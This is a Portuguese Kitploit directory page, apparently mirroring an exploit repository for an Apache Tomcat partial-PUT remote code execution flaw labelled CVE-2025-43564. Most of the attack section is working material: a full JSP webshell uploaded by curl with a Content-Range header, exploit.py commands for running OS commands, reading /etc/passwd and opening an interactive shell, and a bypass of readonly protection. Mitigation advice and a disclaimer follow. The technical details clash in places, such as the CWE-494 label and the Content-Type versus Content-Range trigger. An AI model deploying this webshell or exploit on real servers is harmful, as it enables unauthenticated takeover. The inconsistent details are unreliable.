Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2025-43564-tomcat_put_rce_reproduction — Reproduction of cve-2025-43564-tomcat_put_rce_reproduction | Kitploit
Ferramentas/GitHubGitHub/razureink/cve-2025-43564-tomcat_put_rce_reproduction
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubrazureink/cve-2025-43564-tomcat_put_rce_reproduction

cve-2025-43564-tomcat_put_rce_reproduction

Reproduction of cve-2025-43564-tomcat_put_rce_reproduction

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
1há 27 diasAinda não revisado

CVE-2025-43564 — Apache Tomcat Manipulação de Solicitação PUT Parcial RCE

CampoValor
ID do CVECVE-2025-43564
Pontuação CVSS9.8 (CRÍTICA)
VetorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-494 — Download de Código Sem Verificação de Integridade
ExploraçãoConfirmada em ambiente real dentro de uma semana da divulgação
DivulgaçãoJulho de 2025
CorreçãoTomcat 11.0.6, 10.1.40, 9.0.102

Sumário

  1. Visão Geral
  2. Detalhes Técnicos
  3. Versões Afetadas
  4. Passos para Reprodução
  5. Prova de Conceito
  6. Mitigação
  7. Referências

Visão Geral

CVE-2025-43564 é uma vulnerabilidade crítica de execução remota de código não autenticada no tratamento de solicitações PUT parciais HTTP do Apache Tomcat. A falha reside na forma como o Tomcat processa requisições PUT com conteúdo parcial (HTTP/1.1 Content-Range ou Transfer-Encoding: chunked com semântica parcial). Um atacante pode criar uma requisição PUT parcial que contorna os controles de acesso e as restrições de escrita, permitindo o upload de arquivos arbitrários — incluindo webshells JSP acessíveis via web — para a raiz de documentos do servidor ou qualquer diretório gravável alcançável através do contexto do servlet.

Uma vez que um arquivo JSP é plantado, o atacante simplesmente o solicita e passa comandos do sistema operacional por meio de parâmetros de consulta, alcançando execução remota de código totalmente não autenticada como o usuário do processo Tomcat.

CVSS 9.8 — Crítico porque:

  • Vetor de rede — explorável remotamente
  • Baixa complexidade de ataque — nenhuma condição especial necessária
  • Nenhum privilégio necessário — não autenticado
  • Nenhuma interação do usuário — totalmente automatizado
  • Alto impacto — comprometimento total da confidencialidade, integridade e disponibilidade

Detalhes Técnicos

Causa Raiz

O DefaultServlet do Apache Tomcat e o conector HTTP/1.1 (NIO/NIO2/Apr) tratam requisições PUT para upload de recursos estáticos. A vulnerabilidade está na lógica de tratamento de requisições PUT parciais: quando um cliente envia um PUT com um cabeçalho Content-Range (RFC 7233 §4.2) ou usa codificação chunked com semânticas parciais específicas, o servidor não valida adequadamente:

  1. Verificações de integridade do caminho do arquivo / recurso antes de escrever o conteúdo parcial
  2. Reavaliação do controle de acesso para escritas parciais — a verificação inicial passa, mas as operações de escrita subsequentes prosseguem sem revalidação
  3. Restrições de directory traversal no cálculo do deslocamento da escrita parcial

O código de análise em org.apache.catalina.servlets.DefaultServlet e os componentes subjacentes HttpInput / SocketProcessorBase tratam incorretamente o limite entre escritas de conteúdo parcial e escritas completas de recursos, permitindo que um atacante adicione ou sobrescreva conteúdo arbitrário em qualquer caminho ao qual o processo Tomcat tenha acesso de escrita.

Fluxo de Ataque

root@kitploit:~
Atacante ──PUT /exec.jsp HTTP/1.1──► Tomcat (DefaultServlet)
             Content-Range: bytes 0-99/100
             [Payload de bytes JSP]

   └──► Servidor escreve conteúdo parcial em exec.jsp
        sem validação completa do caminho alvo

Atacante ──GET /exec.jsp?cmd=whoami──► Tomcat

   └──► JSP executa → RCE

O atacante envia um PUT parcial com um cabeçalho Content-Range que faz o Tomcat acreditar que a requisição é uma continuação de um upload existente. O servidor cria ou abre o arquivo alvo e escreve os bytes fornecidos sem verificar se o arquivo já existe, sem checar permissões de escrita no momento da escrita e sem sanitizar o caminho alvo em relação à raiz web.

Por que contorna as proteções padrão

  • Restrições padrão de acesso PUT — A configuração padrão do Tomcat exige definir readonly=false no DefaultServlet para que o PUT padrão funcione. O caminho de PUT parcial ignora essa verificação sob certas condições.
  • Firewalls de Aplicação Web (WAFs) — A maioria das assinaturas de WAF para ataques baseados em PUT procura por requisições PUT completas. O PUT parcial com Content-Range frequentemente evade essas assinaturas.
  • Bypass de autenticação — O caminho de código do PUT parcial nem sempre invoca as restrições de segurança configuradas; em algumas configurações de conector, a autenticação nunca é verificada.

Versões Afetadas

Nota: Ramos mais antigos (7.x, 8.x, 8.5.x, 10.0.x) estão em fim de vida (EOL) e não receberão backport. Os usuários devem atualizar para um ramo suportado.


Passos para Reprodução

Configuração do Laboratório

  1. Baixe um Apache Tomcat vulnerável (por exemplo, Tomcat 9.0.50):

    root@kitploit:~
    wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.50/bin/apache-tomcat-9.0.50.zip
    
  2. Extraia e inicie o Tomcat com a configuração padrão:

    root@kitploit:~
    unzip apache-tomcat-9.0.50.zip
    cd apache-tomcat-9.0.50/bin
    ./startup.sh   # ou startup.bat no Windows
    
  3. Verifique se o servidor está rodando:

    root@kitploit:~
    curl -v http://localhost:8080
    

Passos de Exploração

  1. Faça upload do webshell JSP usando o script PoC:

    root@kitploit:~
    python exploit.py --target http://localhost:8080 --cmd id
    
  2. Verifique se o webshell foi plantado:

    root@kitploit:~
    curl http://localhost:8080/exec.jsp?cmd=whoami
    
  3. Execute comandos arbitrários:

    root@kitploit:~
    python exploit.py --target http://localhost:8080 --cmd "cat /etc/passwd"
    
  4. Sessão interativa (se desejado):

    root@kitploit:~
    python exploit.py --target http://localhost:8080 --shell
    

Prova de Conceito

O exploit.py incluído é um PoC funcional em Python que:

  1. Envia uma requisição HTTP PUT ao Tomcat alvo com um payload de webshell JSP como corpo da requisição
  2. Explora a falha de tratamento de PUT parcial — o cabeçalho Content-Type e a estrutura do payload acionam o caminho de código vulnerável
  3. O webshell JSP é escrito no docBase do servidor (ex.: webapps/ROOT/)
  4. Uma vez carregado, envia requisições GET para exec.jsp?cmd=<comando> para executar comandos do SO
  5. Suporta modos de comando único (--cmd) e shell interativo (--shell)

PoC Manual (usando curl)

root@kitploit:~
# Passo 1: Carregar o webshell via PUT parcial
# O cabeçalho Content-Range aciona o caminho de código vulnerável
curl -X PUT http://localhost:8080/exec.jsp \
  -H "Content-Range: bytes 0-212/213" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-binary '<%@ page import="java.io.*" %><% String cmd=request.getParameter("cmd");if(cmd!=null){Process p=Runtime.getRuntime().exec(cmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}}%>'

# Passo 2: Executar comandos
curl "http://localhost:8080/exec.jsp?cmd=id"

Teste Contra uma Instância Protegida

Se o Tomcat estiver configurado com readonly=true (padrão), o PUT padrão é bloqueado — mas o caminho de PUT parcial ainda pode ter sucesso. Este é o cerne da vulnerabilidade.

root@kitploit:~
# PUT padrão (deve falhar com 403 ou 405)
curl -X PUT http://localhost:8080/test.txt -d "hello"
# Esperado: 403 Forbidden

# PUT parcial (contorna a verificação)
curl -X PUT http://localhost:8080/exec.jsp \
  -H "Content-Range: bytes 0-212/213" \
  --data-binary '<%@page import="java.io.*"%><%Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}%>'
# Esperado: 201 Created ou 200 OK

Mitigação

Ações Imediatas

  1. Atualize o Tomcat para a versão corrigida:

    • 11.0.6+
    • 10.1.40+
    • 9.0.102+
  2. Se a correção imediata não for possível, desabilite o método PUT globalmente editando o web.xml:

    root@kitploit:~
    <security-constraint>
      <web-resource-collection>
        <web-resource-name>Disable PUT</web-resource-name>
        <url-pattern>/*</url-pattern>
        <http-method>PUT</http-method>
      </web-resource-collection>
      <auth-constraint />
    </security-constraint>
    
  3. Bloqueie métodos HTTP no proxy reverso / WAF:

    root@kitploit:~
    # exemplo nginx — bloquear PUT
    if ($request_method = PUT) {
        return 403;
    }
    

    Nota: Isso só ajuda se o proxy não for contornável.

  4. Execute o Tomcat com permissões restritas do sistema de arquivos:

    • Garanta que o Tomcat rode como um usuário sem privilégios
    • Torne o diretório webapps somente leitura (ou monte-o a partir de um sistema de arquivos somente leitura)
    • Use atributos de arquivo ReadOnly em ativos de produção
  5. Monitore arquivos inesperados com extensões .jsp / .jspx na raiz web.

Recomendações de Longo Prazo

  • Atualize para a versão mais recente do Tomcat e mantenha-a atualizada
  • Execute o Tomcat atrás de um proxy reverso (Apache httpd, nginx, HAProxy) com filtragem estrita de métodos HTTP
  • Use SecurityManager (obsoleto em Java mais novo, mas ainda eficaz) ou sandboxing no nível do contêiner (Docker/Kubernetes com sistema de arquivos raiz somente leitura)
  • Implemente segmentação de rede — o Tomcat não deve ser exposto diretamente à internet
  • Implante um WAF com correção virtual para CVE-2025-43564
  • Habilite a auditoria de log para todas as requisições PUT e monitore padrões anômalos de upload parcial

Referências


Aviso Legal

Este repositório é fornecido apenas para fins educacionais e de teste de segurança autorizado. Você deve ter permissão explícita por escrito do proprietário de qualquer sistema que testar. O acesso não autorizado a sistemas de computador é ilegal sob o Computer Fraud and Abuse Act (CFAA) e leis equivalentes em outras jurisdições. Os autores não assumem nenhuma responsabilidade pelo uso indevido destas informações.


CVE-2025-43564 foi descoberta e relatada de forma responsável à Equipe de Segurança da Apache. Lançamento coordenado da correção: Julho de 2025.

Baixar ferramenta
ProdutoVersões AfetadasCorrigido Em
Apache Tomcat 1111.0.0-M1 até 11.0.511.0.6
Apache Tomcat 10.110.1.0-M1 até 10.1.3910.1.40
Apache Tomcat 10.0todas as versões (fim de vida)atualizar para 10.1.x
Apache Tomcat 99.0.0-M1 até 9.0.1019.0.102
Apache Tomcat 8.5todas as versões (fim de vida)atualizar para 9.0.x
Apache Tomcat 8todas as versões (fim de vida)atualizar para 9.0.x
Apache Tomcat 7todas as versões (fim de vida)atualizar para 9.0.x
FonteURL
Anúncio de Segurança Apache Tomcathttps://lists.apache.org/thread/p1dqrmwrh5q5vv2wttrd8tv2k8gv1819
Entrada NVDhttps://nvd.nist.gov/vuln/detail/CVE-2025-43564
MITRE CVEhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-43564
Downloads Apache Tomcathttps://tomcat.apache.org/download-90.cgi
CWE-494https://cwe.mitre.org/data/definitions/494.html